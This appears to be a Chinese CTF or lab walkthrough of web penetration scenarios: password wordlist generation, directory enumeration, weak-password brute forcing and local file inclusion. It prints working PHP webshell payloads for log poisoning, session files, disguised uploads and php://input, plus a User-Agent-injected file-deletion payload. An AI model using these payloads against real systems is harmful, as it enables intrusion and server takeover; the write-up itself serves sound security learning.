本文从弱口令爆破、目录枚举,到本地文件包含 LFI 的多种 getshell 手法,系统梳理了 Web 安全渗透的核心场景。无论是日志文件注入、Session 文件利用,还是 PHP 伪协议的实战技巧,都讲清了原理与利用条件,是从基础到进阶的实用参考,帮你快速掌握渗透测试的关键思路。
文章目录
-
- 情景四:构造脚本爆破密码
- 情景五:敏感文件泄露
- 情景六:弱口令爆破
- 情景七:本地文件包含LFI
-
- 本地文件包含getshell的几种方式
- [1. 日志文件包含 Getshell](#1. 日志文件包含 Getshell)
- [2. Session 文件包含 Getshell](#2. Session 文件包含 Getshell)
- [3. 上传文件配合 LFI Getshell](#3. 上传文件配合 LFI Getshell)
- [4. PHP 伪协议利用](#4. PHP 伪协议利用)
- 解题思路
- 总结
情景四:构造脚本爆破密码
提示:密码前2位是小写字母,后三位是数字
这里我们还是打开网页,惯例尝试URL处是否存在SQL注入:

随后后台管理系统,尝试登陆:

这次的万能密码竟然失败了;
但是在翻看源代码的时候,发现了一个图片:

而这个与题目给我们的提示"密码前2位是小写字母,后三位是数字"相关联,所以这里编写一个简单的python脚本:
python
import itertools
import string
letters = string.ascii_lowercase # 默认所有的小写字母a-z
digits = string.digits # 0-9
output_file = '1.txt'
with open('1.txt','w',encoding='utf-8') as f:
for l1,l2,d1,d2,d3 in itertools.product(letters,letters,digits,digits,digits):
password = l1+l2+d1+d2+d3
f.write(password+'\n')
print(f"成功写入所有密码组合")
随后进行爆破,成功得到最终密码xy123:

情景五:敏感文件泄露
Web目录枚举
还是老样子,先进行Web目录枚举:

但这次不一样,发现了新的目录:
bash
/install/
/install/index.php?upgrade/
访问一下 /install目录,得到如下结果:

根据提示访问 /install/?install,得到结果:

弱口令爆破
因为不知道默认密码,因此我们尝试进行弱口令爆破:
这里让GPT生成了几个弱口令:

成功爆破得到结果:

情景六:弱口令爆破
Web目录枚举
还是老样子:

访问 /install 目录,得到了一个新文件名:lock.dat

再访问 /clear.php页面,成功重置密码:

再次进行爆破,密码还是一样:
(但这里我反倒试不出了,不管了,知道方法就行)

情景七:本地文件包含LFI
前面部分和上一关一样
这里我们扫描,发现了一个新目录:/debug

这里robots.txt文件也提示我们访问该目录:

随后访问,发现为"文件不存在":

看到
file not exist说明 file 参数确实被用来读取文件,但传入的路径不存在 / 被过滤了。
- 所以接下来我们可以确定一下参数名
bash
/debug/?file=index.php
/debug/?file=debug.php
得到结果:

说明确实存在本地文件包含LFI漏洞:
之前也写过文章,感兴趣的可以看一下:Tomato 靶场完整渗透思路(本地文件包含LFI,脏牛提取)
本地文件包含getshell的几种方式
本地文件包含(Local File Inclusion,LFI)是 Web 安全中一种较常见的漏洞,攻击者可以通过服务器端动态包含文件的功能,读取服务器上的敏感文件。在某些情况下,如果服务器配置不当,LFI 还能够进一步升级为远程代码执行(RCE),最终实现 getshell。
以下是几种常见的 LFI getshell 方式的简单介绍。
1. 日志文件包含 Getshell
这是最经典的 LFI 利用方式之一。
原理
Web 服务器会记录访问日志,例如 Apache、Nginx 的 access.log。攻击者可以在 User-Agent、Referer 等 HTTP 头中插入 PHP 代码:
php
<?php system($_GET['cmd']); ?>
服务器记录日志后,再利用 LFI 去包含日志文件:
php
?page=/var/log/apache2/access.log
如果日志中的 PHP 代码被解析执行,即可获得 WebShell。
bash
# 常见日志路径
Linux:
/var/log/apache2/access.log
/var/log/nginx/access.log
Windows:
C:\xampp\apache\logs\access.log
条件
- 目标存在 LFI
- 日志文件可读
- PHP 以解析方式包含日志
2. Session 文件包含 Getshell
PHP 默认会将 Session 数据存储为文件。
原理
攻击者先向 Session 中写入恶意 PHP 代码,例如:
php
<?php eval($_POST['x']); ?>
然后利用 LFI 包含对应 Session 文件:
php
?page=/tmp/sess_xxxxxx
若 Session 文件被 PHP 解析,则可执行代码。
bash
# 常见 Session 路径
Linux:
/tmp/
/var/lib/php/sessions/
Windows:
C:\Windows\Temp\
条件
- Session 可控
- Session 文件路径可预测
- include 时会被 PHP 解析
3. 上传文件配合 LFI Getshell
有些网站允许上传图片、头像等文件。
原理
攻击者上传一个包含 PHP 代码的文件,例如:
php
GIF89a
<?php phpinfo(); ?>
虽然扩展名可能是 .jpg,但如果服务器只是检查后缀而不检查内容,则文件中依旧存在 PHP 代码。
随后通过 LFI 包含上传文件:
php
?page=uploads/test.jpg
若服务器解析其中的 PHP 代码,则 getshell 成功。
条件
- 存在文件上传功能
- 上传目录路径可知
- LFI 可包含上传文件
4. PHP 伪协议利用
PHP 支持多种伪协议,可以配合 LFI 使用。
(1)php://input
当目标代码类似:
php
include($_GET['page']);
攻击者可构造:
bash
?page=php://input
POST 数据中写入:
php
<?php system('id'); ?>
服务器包含输入流后执行代码。
(2)php://filter
常用于源码读取:
bash
php://filter/read=convert.base64-encode/resource=index.php
虽然一般不能直接 getshell,但可用于读取源码、获取数据库密码等敏感信息,为后续利用做准备。
解题思路
了解了上述几种常见的getshell方式,所以我们可以尝试一下日志注入
首先还是访问 /install 目录,做了这么久,大概可以猜测出该文件的路径为:/var/www/html/install/lock.dat

所以这里我们可以利用 UA头写入脚本删除lock.dat文件,然后在进行密码爆破:(也可以用BP进行)
bash
<?php unlink('/var/www/html/install/lock.dat');?>

随后访问日志的位置:(不知道?)
- payload:?file=/etc/os-release
- 日志位置:/var/log/nginx/access.log

检查日志,成功注入刚才的PHP脚本(再次访问/install,发现成功删除lock.dat)

其他步骤跟之前一样,密码爆破,成功得到flag:

总结
期待下次再见;